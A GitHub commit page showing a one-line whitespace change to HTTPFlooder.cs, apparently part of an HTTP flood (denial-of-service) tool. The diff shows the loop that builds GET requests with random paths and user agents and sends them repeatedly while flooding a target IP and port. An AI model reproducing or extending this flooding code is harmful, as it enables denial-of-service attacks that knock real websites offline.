Permalink
Browse files

Make code look a bit better

  • Loading branch information...
1 parent 5e747b1 commit 5f5c019de4d7a8f9938669186773ce5cd3e49273 @NewEraCracker committed May 25, 2011
Showing with 1 addition and 1 deletion.
  1. +1 −1 HTTPFlooder.cs
View
@@ -66,7 +66,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
- byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", Subsite, (AllowRandom ? new Functions().RandomString() : null), new Functions().RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : null), Environment.NewLine));
+ byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", Subsite, (AllowRandom ? new Functions().RandomString() : null), new Functions().RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : null), Environment.NewLine));
IPEndPoint RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
while (IsFlooding)
{

0 comments on commit 5f5c019

Please sign in to comment.